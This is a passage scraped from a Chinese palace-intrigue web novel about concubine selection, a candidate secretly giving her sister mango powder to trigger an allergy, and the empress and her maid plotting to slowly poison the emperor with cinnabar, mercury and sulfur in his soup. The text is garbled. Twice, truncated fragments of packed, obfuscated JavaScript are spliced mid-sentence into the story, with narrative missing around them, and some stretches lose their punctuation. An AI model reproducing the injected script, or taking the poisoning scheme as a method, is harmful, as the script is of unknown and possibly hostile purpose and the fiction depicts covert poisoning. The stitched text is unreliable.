昭妃却觉得自个委屈,辩解道:“皇后娘娘,臣妾虽然有错,可是这两个嬷嬷,更是错得离谱。” “她们有何错误?”皇后问,只是昭妃却忽的支支吾吾,半天也讲不明白,见状,皇后让其他人退下,再让昭妃低声说。 “是……今儿戏班子里有一个断袖的,这两个嬷嬷讲起了这事,被五皇子听见了,五皇子还小,不知道这是何意思,以为断袖很厉害的人物,便跑到臣妾面前,问臣妾是何意思,臣妾一时气急……”昭妃不再说,而是眼睛发红,死死盯住了下边被塞住嘴巴的粗使嬷嬷。 “所以你就发作了她们?”皇后把话补全,昭妃低头,半响才轻轻点头。 皇后无声地叹气,也难怪昭妃这般大发雷霆,皇子们还小,平常不能接触这些东西,五皇子从嬷嬷口中听见了这番话,又不解是何意思,便在昭妃面前问了自个的疑惑。 她们两个被打也不冤枉。 “这事你可以禀报给本宫,本宫自会罚她们,但是在宫里不能用私刑,她们有错,你也有错。”皇后说。 “娘娘……”昭妃张了张嘴,到底没有再辩解甚麽,“是,臣妾有错,只是娘娘一定要狠狠罚她们,不可让她们带坏了五 皇子。” 不怪她大惊小怪实在是祁王就是那样的人她自然会怕怕五皇子小小年纪了解到这些然后像祁王那般成了花名在外的断袖。 底下的两个粗使嬷嬷面露恐惧她们不过是躲着说小话哪儿知调皮的五皇子就躲在身后的柜子里正正好听见了。这还不止他偏偏到昭妃跟前学舌这才让她们遭殃了。 “把她们带下去各打十大板子然后再让她们去行宫永不许再回宫。”皇后吩咐又看向昭妃说道:“此事就算了你也别再这般越是大张旗鼓旁人越会探寻内里缘由。” “本宫让下边的人封嘴你也是别再提前这个事情。”皇后觑了昭妃一眼昭妃又说道:“娘娘殿中省负责找戏班子的太监呢?难道不需要一并罚吗?若不是他们不尽心 “不是你当初说要寻外头最好的戏班子麽?这就是他们按照你的要求去做反倒成了他们的错了?”皇后厌烦殿中省的太监会不知道戏班子有一个断袖麽? 大约是知道的不过看不惯昭妃便不上报反正也不算忌讳。 “行了让人看好五皇子你也是别太纵容他平常顽闹就由着他随处躲麽?万一他躲在箱子里又没有人发现岂不是活活憋死?” “是臣妾日后一定会管好五皇子。”昭妃说她也是想着五皇子读书辛苦且一个月才相见几回便随便他尽兴。 但是出了这档子事情她是再也不敢了。 皇后封锁了消息后宫妃嫔们不清楚发生了何事不过皇帝还是清楚的听闻了昭妃宫中的事后他黑了脸当即吩咐大太监“封赏昭妃母亲为诰命夫人的圣旨不用颁发了且放着罢待到日后再说。” 原以为昭妃多多少少能稳重一些却不曾想竟是这般的人。 大太监倒也能猜测几分皇帝的心思他想从前的柳妃也是懂礼知趣的只不过陛下您宠爱她又给她封号给她赏赐她便逐渐放肆了。 圣上的宠爱当真教人蒙了心智盲了眼睛。 大太监不由得想到了自己看来他也要谨言慎行切莫不能因着陛下信任就作出甚麽事情。 * 到了七月份皇 帝又与皇后聊起了选秀的事,“后宫份位不满,这次合该多选一些来填补,此事由皇后负责,舒妃从旁协助,办好这次选秀。 “是。皇后一听没有昭妃,就知道她惹了皇帝不快,“这次世家里头想必有许多贵女,一并入宫中接受教导,人多会有摩擦,臣妾会嘱咐嬷嬷们好生看着,让她们安然无恙归家。 皇后从来不小瞧女子,特别是一些想要入宫的女子,她们住在一起差不多两个月,有些心怀不轨的人,甚麽下作的恶心手段都能使出来。 曾经她就听闻过一事,一秀女假意与旁人交好,实则寻机会划花了旁人的脸,因着那人容色艳丽,很有机会中选。 “嗯,除了此事,朕还要与你说说羌族的事。皇帝放下茶盏,“文英公主之前借兵,朕让边关的将军调了兵力过去,帮着她镇压了羌族的动乱,三部首领自刎,如今羌族上下皆认文英公主肚子里的孩子,等她生育,就会有新王。 皇后想不到文英公主果真有此能力便露出一个真心的笑容,说道:“臣妾记得她快要生了罢,左不过这个月,既然她一个人在羌族,陛下不若赏她一些坐月子的用具与吃食,也好教羌族的人知道,咱们大文还是很器重和亲公主的。 “此事皇后安排即可。皇帝不在乎仨瓜俩枣,何况文英公主的确有功。 “好。皇后说,能借着皇帝的由头赏赐文英公主那当然好,她身份地位不如皇帝,起码羌族的人会因着害怕皇帝而善待文英公主。 选秀很快办起来,舒妃到了椒房殿中,与皇后商议。 “今年秀女多,只一个广明殿怕是住不下。舒妃说,去年恰逢两个主子过世,一些谈婚论嫁但是尚未走礼的贵女们就耽误了,如今也是要入宫参选的。 “再开一个长乐殿还有咸安宫,这般就够了。皇后看着殿中省递交上来的秀女名单,足足有十页,初选的就有四百多人。 往年初选的也才二百多,如今翻了差不多一倍。 舒妃也在翻看名单,去年有许多贵女来不及定亲,其中就有她娘家以及外家的一些姐儿,她们就不想入宫当妃子。 “皇后娘娘,臣妾有一事想与您说。舒妃想好了,见皇后眼神示意她,她就即刻说道:“臣妾认识的几个小辈,想在殿选 之前撂牌子出宫自行婚嫁还请皇后娘娘成全。” 过了两轮选秀的秀女已经是身体外貌还有品行没有问题的所以在殿选之前回家那就再好不过了。 毕竟殿选由皇帝亲自挑选万一不幸中了皇后也没有法子让他改变主意。 “可以你把名字报给竹清竹清会安排好的。”皇后说舒妃就赶紧与皇后说了几个名字又向竹清重复了一遍这才问她“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听听。” 姜大夫人把她们看好的姐儿说与皇后听,说道:“三家都是乐意与咱们姜家结亲的,只是家里郎君说要请教皇后娘娘,瞧瞧于政事上有碍麽?没有的话,咱们就应了,定下亲事。” 只要皇后娘娘应允了,那就还得给三家的姐儿划名字,所以竹清赶紧屏气凝神,预备着听名字。 皇后仔细思索了一下,“没有大问题,允了,待选秀结束,就可以走礼,只现在暂且不宜张扬。” “欸。”姜大夫人喜笑颜开,又谈到了家中两个姐儿也看中了人家,不过还没有接触,只待选秀彻底结束,再开始接触。 皇后转念一想就猜到了姜大夫人的用意,她说,“待她们出嫁,本宫会赏赐一份厚重的添妆礼,让她们在夫家好过一些。对了,待亲事定了,让她们进宫一趟,本宫好生看看,认认脸,免得日后在宴席上看见了,不认得。” “妾身替姐儿们多谢皇后娘娘。”姜大夫人眉飞色舞,一想到小辈们的日子蒸蒸日上,她就高兴! * 七月十二,秀女们陆陆续续进宫了,在这一批秀女当中有一些家世高的,是已经确定要进宫,故而皇后不得不多注意几分。 “高丞相的外孙女乐姐儿,兵部尚书家的柔姐儿,礼部尚书家的曦姐儿,直亲王的女儿时姐儿……”皇后轻声说道,又问竹清,“她们同一批住进咸安宫,可安置好了?有没有争吵?” “没呢。那乐姐儿与时姐儿虽然闺中相互看不顺眼,但是在宫里还不敢怎麽样。”竹清摇摇头,都背地里确定留牌子了,她们再如何有脾气,也得装温和装两个月,不然半路惹出事被送回去,下半辈子就毁了。 “只不过,那兵部尚书家的柔姐儿,却与庶妹似乎不睦,她的庶妹找她,她都不见的。”竹清今个奉命去了咸安宫,虽然没有出面,但是在角落里看了好一场大戏。 “柔姐儿……”皇后想了想,“兵部尚书出身武将之家,便想着女儿们斯斯文文像个小娘子,故而给唯一一个嫡女取名柔姐儿,只是本宫见过她一回,那拉弓上马的身姿,骁勇无比,与柔字万万沾不上边。” “她那个性子一向是嫉恶如仇的,想必那个庶妹有些小心思,得罪了她,她才那样对她。”皇后说罢,看向竹清,低声嘱咐道:“你 多让人注意她们两个,别在咸安宫出了事。” “欸,奴婢让霜玉姑姑注意点。”竹清说,入宫秀女比往年多,所以嬷嬷人手不够,她的干娘霜玉姑姑也调去了咸安宫当差,教导秀女们礼仪。 皇后颔首,就不再谈她们两个,转而谈起了八皇子的病,“八皇子刚刚痊愈,让禧贵嫔小心照料他,不要再带出去,染上了花粉。她的宫里也不许摆上鲜花,放些树木景色就好。” “是,奴婢等下就去传话。只是,禧贵嫔若是带着八皇子来给您请安,咱们椒房殿可是有许多花儿的。”竹清打量皇后的脸色,补充一句,“娘娘总不能拘着八皇子不出门罢?来日他大了,也会想到处走走的。” “让太医院想想法子,看看能不能开些药做成药粉,再让绣娘做了香囊,把药粉放进香囊里,日日给八皇子佩戴。”皇后沉思片刻,立刻就想到了一个办法。 竹清便应了,她先去太医院把皇后娘娘的命令传与太医,再去禧贵嫔宫里,给她传话。 禧贵嫔一听目的达成,立马欣喜,道:“多谢竹清姑姑,姑姑辛苦了,喝茶。”不枉费她“贿赂”了竹清,让她帮着在皇后面前说这件事。 “茶就不必了,奴婢还有差事在身上,不能与禧贵嫔说话了,奴婢先告退。”竹清屈膝。 “也是,皇后娘娘器重你,本宫就不留你了,你快些去罢,免得皇后娘娘找你。”禧贵嫔亲自送了送竹清,又让贴身宫女塞大荷包。 待竹清走后,禧贵嫔就笑了。 能以往日的情谊让竹清帮忙开口,也就不必浪费她与皇后娘娘之间的情份,八皇子还小,以后仰仗皇后娘娘的地方多了去了,她总不能一点小事就亲自去找皇后。 竹清能帮她,这样就很好。 作者有话要说 第 80 章 弑君! 第80章弑君! 新式海船打造完成,太子求陛下恩典,想亲自去造船局看一看,陛下应允,不日,太子就要启程去沿海一带。 选秀已经到了第二轮,只剩下两百多个秀女,这第三轮会刷掉一百多个,殿选时只余下八十六个秀女参选。 这日,竹清照旧奉皇后娘娘的命令去咸安宫、长乐殿以及广明殿,只是一进咸安宫,就听见了里边微微吵闹的声音。 熟悉的声音传来,是她干娘霜玉姑姑在严厉训斥宫人以及秀女,不多时,就安静了。 一个小宫女脚步匆匆往外走,竹清喊住了她,问道:“这是怎的了?咸安宫里发生了何事?” 那小宫女认得竹清,低声与她说道:“回竹清姑姑的话,是有个秀女病了,脸还有身子全部都红肿不堪,霜玉姑姑吩咐我去太医院请太医。” “那你快些去罢。”竹清让她离开了,随后带着人入内,在开着门的侧殿见到了霜玉姑姑,此时她正与一位脸部还有手背都有密密麻麻红点点的秀女说话,“施秀女可别觉得奴婢做法有何不妥,您身上染了这些,奴婢不敢放您回去与他人同住。就暂且委屈您,在这小间住一住,待到上头主子命令下来了,才能决定您去往哪里。” 不过依她所见,这施秀女最有可能被送回家。 “我不怪你,只是霜玉姑姑,我只与你说,我这不是病,是芒果过敏,方才我吃了两块糕点,之后就成了这样,那糕点里定然有有芒果这样的东西。”施秀女说,她脸上见不到多少难过,甚至隐隐有些期待。 竹清不由得想起了皇后所说的话,这施秀女是兵部尚书家的柔姐儿,本来是请撂牌子的,不过皇帝要求他送女儿入宫。 所以,这施秀女莫不是在期待被送出宫? “霜玉姑姑。”竹清开口,吸引了施秀女以及霜玉姑姑的注意,霜玉姑姑迎上前,问道:“竹清,你怎的来了?” “我奉娘娘命来看看秀女们,不曾想正好撞见这混乱。不过……”竹清低声与霜玉姑姑耳语,“御膳房给秀女们做的吃食里头绝对没有芒果这样的用料,芒果粉都不可能。” 竹清跟着皇后料理选秀,自然清楚秀女们每日的吃食是甚麽,用料贵不贵。 霜玉姑姑惊诧一瞬间,旋即反应过来,竹清这是提醒她,今日施秀女的事,不太可能是意外,更有可能是暗害。 “岂有此理。”霜玉姑姑肃着脸说。 “等太医来瞧瞧,才好下定论。”竹清也没有声张。 很快,太医就到了,果不其然,就与施秀女说的一样,她是芒果过敏,而不是病了。 “这红肿何时才能消除?”霜玉姑姑问道,太医拱手,“回姑姑的话,这位秀女所食的芒果粉末不算多,一两日就能消下去。” “好。”霜玉姑姑松了一口气,只施秀女明显有些失望。 “这事我禀告皇后娘娘,如何?”竹清问霜玉姑姑,待她点头,竹清就招手,让人回椒房殿。 霜玉姑姑安置好施秀女,这才去外头与竹清聊起此事,“方才你说御膳房不会提供含有芒果的糕点给秀女们,我让人按照这个去查了,发现今个兵部尚书家的另外一个秀女曾经说想要吃糕点,与她交好的秀女林秀女让小宫女给她们点了几盘子吃食,都是些糕点一类的。除了她们两个吃,还用于讨好与她同住的人。” “施秀女是她的嫡姐,不与她们住,但是林秀女也送了一碟子糕点过来,许是因着林秀女送的,她才不设防用了。不知内里有甚麽脏污?”霜玉姑姑皱眉,果真这般巧合麽? 这事真真不好说,要说是小施秀女想要害嫡姐,偏偏那糕点又不是她让人送过来的,也不是她逼着施秀女吃的。 “我不信这样巧合的事。”竹清摇头,她见过小施秀女,比起姐姐,她更弱柳扶风,一双眼睛似秋水多情,只眉眼处有几分算计。 “皇后娘娘驾到——”太监的唱喝声在咸安宫响起,瞬间,吱嘎作响的开门声音不绝于耳,众多秀女提着裙摆走出来,正等待着皇后娘娘。 “参见皇后娘娘,娘娘万福金安。”秀女们规矩学得不错,皇后打眼一瞧,个个的礼仪都十分标志,她看向霜玉姑姑,说道:“秀女们有你的教导,本宫很放心。” “奴婢谢皇后娘娘夸赞。”霜玉姑姑放下心来,皇后这个态度就表明今日施秀女的事不会连累到她。 “都起来罢,本宫来看看你们,如今瞧过,也就安心了。”皇后抬手,让小宫女把这些秀女送回住处。 “把 施秀女、小施秀女还有那个林秀女带来今日违反宫规擅自替秀女们安排吃食的宫女也一并押过来本宫有话问她。”皇后雷厉风行几句话交代完就率先前往隔壁没有住人的晞乐殿。 “是。”竹清与霜玉姑姑不敢耽误立马就按照皇后的吩咐行事不多时她们都到了晞乐殿。 那小宫女被堵住嘴一双手反绞在身后脸上神色惶惶不安一副想要想要争辩甚麽的模样。 “林秀女本宫问你你到咸安宫这麽多天了为何今日恰好想要吃糕点?糕点是你要点的麽?”皇后问那林秀女家世不高看了这阵仗早已双腿发抖皇后问完她就扑通跪地颤抖着嗓音回答道:“回、回皇后娘娘的话是、是是吃不惯宫中的素菜所以只能让小宫女送糕点过来。” “那些糕点是我一个人做主点的。”林秀女还不知道发生了何事刚才有姑姑不准她们出去看热闹。 “是麽?谋害秀女 林秀女张大嘴巴似乎很难理解皇后的意思过了许久她回过神来慌慌张张地为自己辩解道:“皇后娘娘皇后娘娘臣女臣女断然没有谋害秀女的心思啊!” 她再没有见识也清楚这样的罪名会带来甚麽不只是她身上有了污名家中更有可能因她而蒙羞说不得会一尺白绫将她勒死。 “哦?”皇后不再言语只食指一下一下地敲击着扶手似乎在思量着甚麽。 “启禀皇后娘娘奴婢曾见过林秀女得罪过施秀女她不小心弄湿了施秀女的衣裙还撞坏了施秀女一枚贵重的簪子。”有一个小宫女迫切想要立功故而跳出来在她口中仿佛林秀女十恶不赦已经给林秀女定罪了。 “臣女……”林秀女苍白无力地说道:“她说的属实但是臣女那是无心之失绝对没有要害施秀女的意思皇后娘娘明鉴臣女没有这样的心思。” “皇后娘娘。”竹清从外头急匆匆地走进来与皇后耳语道:“奴婢让人去寻今日吃过糕点的秀女有一人没有吃完留下了两块奴婢仔细嗅闻确定里头没 有芒果用料。” “你确定?”皇后挑眉,那麽问题就不是出在御膳房,也不是出在安排吃食的小宫女身上。 施秀女那份糕点是特意加了东西的,林秀女还没有那麽大的本事让御膳房给她作不一样的点心。 “确定,还有,小施秀女身上有芒果粉末的味道。”竹清制香那麽多年了,嗅觉灵敏度只增不减,轻而易举地就闻到了小施秀女荷包里头散发的味道。 不只如此,竹清还从霜玉姑姑那里得知了好些关于这三个秀女的事,也一一与皇后说了。 “小施秀女,你有何话可说?”忽的,皇后一声询问,如同惊雷般炸响,将三个秀女都惊得说不出话来。 “皇后娘娘,臣女不解娘娘何意?”小施秀女咬了咬唇,蒲柳般的身姿摇摇欲坠,似乎受了很大的冤枉。 “本宫记得,你之前与林秀女并不熟悉。在林秀女得罪了施秀女之后,其他人不愿意与她一并顽乐,你就凑到她身边,与她说会向你姐姐求情的,这般熟悉起来后,你说你想要吃糕点,林秀女自掏腰包为你贿赂宫女,得到糕点之后,你又在糕点里下粉末,导致吃了糕点的施秀女过敏,是不是?”皇后看过多少诡谲风波,小施秀女这点手段压根儿不够看的。 小施秀女呆愣了,双眼发直,她没有料到皇后把事情还原得七七八八,是了,从头到尾,她做的每一件事,都是有目的的。 “臣女没有。”饶是被揭穿,她依旧选择否认,直到……竹清从她的荷包里头搜到了一点点粉末。 荷包是贴身物件,进宫时嬷嬷们只略略看几眼就会还给秀女,故而倒是让小施秀女钻了空子。 “告诉殿中省,小施秀女品行不端,即日起送出宫,林秀女识人不明,且坏了宫里规矩,念在是无心的,就说染病了要送出去。至于施秀女,遭此暗害,本宫会向陛下开口,给你一个补偿。”皇后说,譬如让她入宫的份位往上提一提,再赏赐一个封号。 “皇后娘娘!”小施秀女还想辩驳甚麽,却被嬷嬷们堵住嘴带走,她这一辈子完了。 “那个帮着去拿糕点的宫女也不必带她来见本宫,打她手心三十板子,再打发她去行宫。”皇后说。 如此,事情就差不离解决了,皇后在起身经过施秀女身边时,警告 似的说了一句,“进不进宫不是你说了算的,你不进宫,回去了也嫁不到好人家。” “臣女谢皇后娘娘提点。”施秀女低头,看着皇后娘娘华贵无比的锦鞋离开了她面前。 她的确存了借这件事离开皇宫的念头,无缘无故端过来一碟子点心,一般情况下她可不会用,但是知道林秀女与她那恶心肮脏的庶妹一起顽,她就知道,那点心绝对有问题。 “可真是斗争不断。”竹清扶着皇后下了阶梯,压低声音与皇后说着悄悄话,她说,“为了能进宫,竟能使出这些手段。” “一个想当妃子却身份地位不够,一个不想当却被内定,真是比戏文还要好看。”皇后说,“那小施秀女虽然身姿有几分惹人怜爱,但是脸却有些寡淡,她可能想着嫡姐不能参选,陛下就会选她。” “自食恶果。”皇后又想到了施秀女,“她有谋算,可惜对自己不够狠。本宫若是她,为了不进宫,就借这个机会下个狠手,多吃点芒果粉末,症状重,就能直接送回家。” “也不知其他秀女如何。”竹清说,除了她们,其他人也未必是安分守己的,只是暂时不显露,待到进宫,就能窥视一二了。 往后这宫中,可就热闹了。 却说太子由三师教导,品行出众,皇帝宠爱五皇子,乐意给五皇子荣宠,便问他,“让你跟着太子一起读书好不好?” 五皇子应了,说道:“好!”他人小,不懂与太子一同读书的益处。但是也清楚地知道,靠着太子有好处的。 皇帝想给五皇子一个跟着学习的机会,他在朝堂之上说起此事,不出意外,遭到了朝臣们的反对。 “陛下,三师是特意教授太子的,所教的,是为君之道。如果五皇子也跟着读书,那岂不是坏了规矩?” “是极,太子与其余皇子一同去勤学殿,虽说太子另外由三师教导,但是勤学殿的其他先生也是大才,教皇子们定是足够的。” 太子是储君,待遇有所不同。太子跟着三师学习如何做一个储君,如何当一个帝王。五皇子读书,至多是学习如何辅政。如果五皇子事事与太子一样,日后容易霍乱朝野,让大文朝动荡,所以,文武百官都不同意这件事。 在皇帝看来,下边逐渐形成一道声音的臣子们就是在反抗 他,只是让五皇子跟着太子读书,又不是甚麽大事,为何他们连这个都不允许? 只短短当了几年太子的皇帝不明白内里含义,见大臣们唱反调,反而更加坚定了自己的想法。 “够了!”皇帝冷声呵斥,诺大的大殿立马安静下来,半分儿声音都听不着。 “朕心意已决,诸位莫要再纠缠,即日起,五皇子与太子一般,聆听三师的教学。”初登大宝的年青帝王已经开始享受说一不二的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“竹清,我,我有个法子。”皇后抬头,与竹清对视,“如果,如果皇帝不能理朝政,那就是太子监国。只要琮哥儿能握着权柄,就没有人能威胁他……” 她的声音压得很低很低,如果不是 竹清认真听,只怕还听不见。竹清想了想,用几不可闻的音量回她,“可是陛下身强力壮。 就凭着皇帝的精神头,再活个三四十年不是个问题,待他掌握的权势越来越大之后,朝臣们还会选择支持太子吗? “那就,那就让他病。皇后咬牙切齿地说道,“只要他病了,琮哥儿才能顺理成章地接管朝堂。而且要在这两年内办妥,时间长了,容易生变故。 竹清原本以为皇后想直接杀了皇帝,可是转念一想,大文朝不能在短短几年时间里有两位帝王驾崩,很容易动荡不安。 “上官氏支持陛下呢。竹清又说。 “怕甚,他们支持,却更想要权力,没看麽?陛下不允许他们调动上官氏的官员,他们就集体‘生病’,呵,不过是相互抗衡而已。皇后冷笑,上官氏怎麽可能真心实意支持陛下? “竹清,我方才想了许多东西,觉得唯一稳妥的法子就是下毒,而且是无色无味,效果不明显的,待他吃上一年半载,身子从内里空虚。我已经想好了,选秀多进些秀女充实后宫,他不是喜好美色吗?就教他以为是因着宠幸妃子才导致身体空虚。皇后刚刚枯坐很久,才终于下定决心。 “我没有别的法子,不能去赌一个帝王的心思。皇后说,哪怕不是五皇子,万一他又喜欢别的皇子,想把最好的都给他,那琮哥儿不还是危险? “娘娘。竹清似是叹了一口气,又问道:“娘娘有甚麽需要奴婢做的,奴婢定会做好。 她虽然穿越到大文朝成了一个奴婢,但是也许因着顺风顺水的缘故,对于皇权,她实际上并不是很敬畏,所以,对于皇后的想法,她的第一反应就是:挺好的。 皇帝病重,皇后的权力地位毋庸置疑会提升,连带着她这个掌事姑姑,也水涨船高。 “娘娘想如何做?竹清问,皇后没怎麽思索就说道:“本宫日日让人送人参汤去勤政殿,陛下也都习惯了,如果毒下在人参汤里,他不会设防的。难就难在,如何找到无色无味的毒药。 “这倒是不难。竹清咳嗽了一声,意有所指地说道:“丹药为达官权贵所追捧,刚开始吃是精神饱满,但是娘娘若是教人去查,定能发现,吃丹药的人下场都不会好。 “哦……我想起来了,从 前丹阳寺就有一位道士是炼丹的,据说他每日都会吃几颗丹药,最后全身溃烂而死。只是丹阳寺的道士们都说他道心不诚,这才有此灾祸。”皇后略微一想,就猜到了那是丹药的毒性。 见皇后明白了,竹清又说道:“咱们只要知道丹药用何制成,那毒药也就有下落了。” “好,此事我只信任你,你亲自去查清楚丹药的材料,再买一些进宫,要做得隐蔽,这事不急于一时,知道吗?”皇后眼底闪过一抹挣扎还有犹豫,但是不多时,就完完全全变成了坚定,她说道:“这事我们一定要做!” “是。”竹清面色平静,丝毫看不出来,她即将做一件惊天大事。 如此,就说定了。 只是,竹清不知想到了甚麽,明显踌躇一下,“娘娘,此事可要告诉太子殿下?” “不必。”说起太子,皇后的脸色缓和,整个人不复刚才的锋利,而是变得柔和,她说道:“琮哥儿对皇帝有孺慕之情。且弑君这样的大事他未必接受得了,咱们就暗地里进行,别让他知道,他还小,只需要跟着老师们读书就可以了。” 皇后也是怕太子获知她们的计划会阻拦她们,她叹息一声,“太子终究与皇帝日日相见,情感深厚,虽然说皇帝近来伤了太子的心,可他们是父子。” 太子仁厚。 竹清欲言又止,最终没有说别的,只赞同皇后,“欸,那奴婢就小心翼翼做,不在太子殿下跟前漏了口风,就教太子殿下以为,那只是一个意外罢。” “去罢,你先查一查哪里的丹药毒性最强,随后来与我汇报。”皇后一刻也等不得,她必须在这两年办好。 弑君! 作者有话要说 第 81 章 陛下昏厥 第81章陛下昏厥 秋天的风凉凉的,吹着落叶在风中打着卷儿,竹清坐在马车出了宫,她此次出宫是去隔壁湖安县参加婚礼,皇后娘娘给她嫡亲侄女儿的添妆,她不方便去,竹清就代她。 当然,添妆不必她走一回,她此行的真实目的,是往湖安县有名的道观里去一趟,为了搞到丹药的原材料。实际上她清楚丹药里的成分,其中朱砂、水银与硫磺这三样,毒性非常强。而她此次去湖安县,就是为了这三种材料。 本来开医馆的周大夫很轻易就能帮她寻到这些东西,只可惜这几年他老了,早已经家去养老。偏偏自她进宫后,没有空再去结交一个信任的大夫。 慢慢采买也可以,只是时间长,若是论起朱砂、水银与硫磺能一次性采买的地方,莫过于会制作丹药的道观,丹药的买卖好打听,只需装作渴望身强力壮长命百岁的商人,道观自然会卖。 京城没有道观,皆因先帝不信这个,故而京城里只有寺庙,像道观,只能建立在别处。 “竹清姑姑,我方才已经让人快马加鞭给人送信,他们应当会在大门口迎接姑姑您的。”跟着来的菊儿说。 菊儿是二等宫女,机灵劲儿足,这一回也是她亲自求了她,跟着一同出宫。 “做得好,你多少岁了,菊儿。”竹清看着脸庞白净的菊儿,看她斟茶递水,又笑了笑,说道:“这儿就我们两个,你不必忙活,放下罢。” “欸,姑姑喝茶。”菊儿把茶盏递给竹清,这才有空回答她的问题,“竹清姑姑,我今年十七岁了,进宫七年,想跟着姑姑多学习。” “哦?还有八年,也的确有时间学东西,过两个月,文惢就要放出宫成亲了,到时我与皇后提一提,让你顶她的位子。”竹清说。 菊儿满脸欢喜,文惢是一等宫女,领的月例银子是她的一倍,再者能进殿内贴身伺候皇后娘娘,这可是旁人求也求不来的好福气。 “竹清姑姑赏识我,我自然要当好差事,不下了皇后娘娘的脸面,也不堕落了竹清姑姑的提携之恩。”菊儿嘴甜得紧,一串儿好话说个不停,半响,见竹清嘴角挂笑,她又说道:“竹清姑姑,其实我有一事拿不住主意,想请姑姑帮我想一想该如何做。” 竹清换了一个更加舒适的姿势,昏昏欲睡,闻言就哼了一声,“说罢,甚麽事啊?” “是这样的,我是被家里卖进宫里的,原有个两小无猜的哥儿,他家中与我父母说定让我嫁给他,那哥儿还说等我出宫就娶我,只不过前几日,我同乡给我寄信,说他有了相好的,正是那巷子里的暗娼,两个人似乎密谋甚麽,言语中提到了我。我怕他们想要谋夺我的身家,想甩了那哥儿,又怕他们家拿着定亲用的庚帖去官府嚷嚷,逼迫我成亲。” “信物被我爹娘藏着,我即便想要退亲,也得让他们把信物交出来。”菊儿愁眉苦脸,她可不想被官府通告,逼着成亲。 每个进宫的宫女大部分都不是自愿的,除却一部分家里真的吃了上顿没下顿,但凡有些积蓄,又爱惜小娘子的,是断然不愿意她们入宫当宫女。 像菊儿,她苦着脸,因她父母知道她进了宫,那亲事又抵赖不得,所以苦恼至极。 “这有何难?”竹清笑着说,“不过在给你法子之前,我还是得问你一句,你日后出不出宫?回不回你父母亲人身边的?” 世道就是这样的,对女子如此不公,孝道能把人压死,哪怕面对把自己卖了的父母爷奶,只要他们来找,她们就少不得给他们养老。 菊儿似乎没想到竹清问这样的话,她还没想过慢慢地低头思量,过了一刻钟,她忽的抬头,说道:“竹清姑姑,我想好了,我想像你一样,在宫里自梳,永远住在宫里。他们不能进宫,也不敢纠缠我。” “这就好。”竹清点头,把法子缓缓道来,“你进宫之前的名字不是菊儿,既然已经改了,又不打算归家,你大可以自导自演,装作一个势利的嬷嬷,假借是你干娘的名义向他们要钱,涉及到钱财,他们定要考量一下。不止这般,你还要长久以干娘身份给你家里写信,一直纠缠他们,连你那定了亲的哥儿家也别放过。” “又雇佣一些人去上门要债,时间长了,只怕他们比你还急着撇清关系,那哥儿家也会与你家退亲,你那父母也自是肯把信物找出来,应他们家。” 如此,就解决了菊儿的烦恼。 “只是名声受影响,不知你可乐意?” 菊儿一开始是喜,随后面色有些忐忑,最终化为一片坚定。以她自个的本事, 除非听竹清姑姑的,不然还是会被他们纠缠一生。 躲在宫里也不安全,但凡是进宫的宫女,如果有未婚夫的,在进宫记档上会直接记录,到了年岁就上报放出去。 “那我就按照竹清姑姑所说,名声……左右我也不打算成亲了,也不回那让我挨打的地儿,我不介意。”菊儿说罢,两人就沉默了。 这一行从马车转大船,再转轿子,这才在婚礼前一日到了湖安县姜家的院子里。 那新郎官就住在湖安县,预备考取功名,想着他快要考试了,两家就商议在湖安县嫁娶,姜家在这儿也有院落,也不小,拿来宴客体面。 天光已然大暗,恰逢用晚饭的时候,路边行人匆匆,倒愈发衬托得湖里游着的大鹅悠闲自得。有橘色的霞光洒满了湖畔,波光粼粼,连同大鹅身上白色的羽毛都染成了金色。 竹清不善诗词,只能借用一句“浮光跃金,静影沉璧”来形容。 “竹清姑姑,姜夫人派人来接咱们了。”菊儿先前不敢打扰姑姑赏景色,只是府上的下人正等着,她也不敢耽搁。 “走罢。”竹清说。 姜夫人是新嫁娘旁支的一位族婶,那一支都没落了,住在湖安县里,这回得了信儿,说皇后娘娘派了人来添妆,她紧张得日日让人去码头等着,生怕接不到人。 “奴婢竹清见过姜夫人。”竹清行了礼,那姜夫人却不敢受,连忙往旁边走了两步,说道:“姑姑不用客气,快随我进去,宴席早已准备妥当,只宓姐儿今日不能下地,故而不能与姑姑一同用晚膳了。” “无妨,奴婢还要去见一见宓姐儿的。”竹清说,添妆是在明日,她倒是不急着见宓姐儿。 “欸。”姜夫人在前边带路,不时注意竹清的脸色,宰相门前七品官,何况这位是皇后娘娘身边的掌事姑姑,稍微在皇后娘娘跟前提她一两句,都够她一家子受益无穷了。 翌日,竹清早早起来,正院里正热闹得紧,嫁妆堆得放不下脚,来来往往的夫人小娘子们个个都喜气洋洋,活似这喜事是她们家的。 竹清见到了已经梳妆完毕的宓姐儿,她穿着大红的嫁衣,头发高高挽起,金光璀璨的朱雀衔珠头饰正戴在发髻上,两端各插入了一根高翘的流苏。 “奴婢奉皇后娘娘的命令, 来给娘子添妆。 步摇、手环、玉佩……应有尽有。 宓姐儿起身谢礼,一张芙蓉脸上写满了惊喜与骄傲,她与竹清低声说着话,语气熟稔,显然先前曾也曾与竹清见过。 隔了三日,竹清带着得到的东西坐上返京的船。再过了五日,她就与皇后说道:“娘娘,奴婢自制的毒药已经妥了。 医者,毒也。 她能治病,也能要人命。 桌上摆着一盅热气腾腾的汤羹,皇后伸手拂开升腾的水汽,竹清上前,把毒药倒了进去,汤羹没有任何变化,依旧散发出可口的甜味。 “去罢,给陛下送去这碗汤羹。皇后不知想到了甚麽,表情甚为愉悦,连尾音都是上提,显出激动。 “欸,奴婢这就去。竹清对于去勤政殿送汤汤水水一事早已驾轻就熟,到了勤政殿,大太监亲自下来迎,说道:“竹清姑姑又来送汤?你先等等,陛下正与五皇子在里头赏画呢。 竹清等了一会儿,就见陛下叫大太监进去,“去,把这些古董字画全部送到五皇子那儿,还有朕这里做糕点的厨子,也一并赏了他。 “是,陛下,皇后娘娘让人送了汤来,陛下可要现在用? 竹清进到勤政殿里,余光瞧见陛下坐在龙椅上,怀里抱着五皇子,他抬头,“端上来,皇后贤惠。 陛下也知道每日这个时候都有椒房殿送来的羹汤,他小口小口地喝着,因着是补气的,并没有让五皇子喝。 一口两口……三十二口,竹清在心里默默数着,每喝一口,就代表着陛下中的毒更深。 要命! 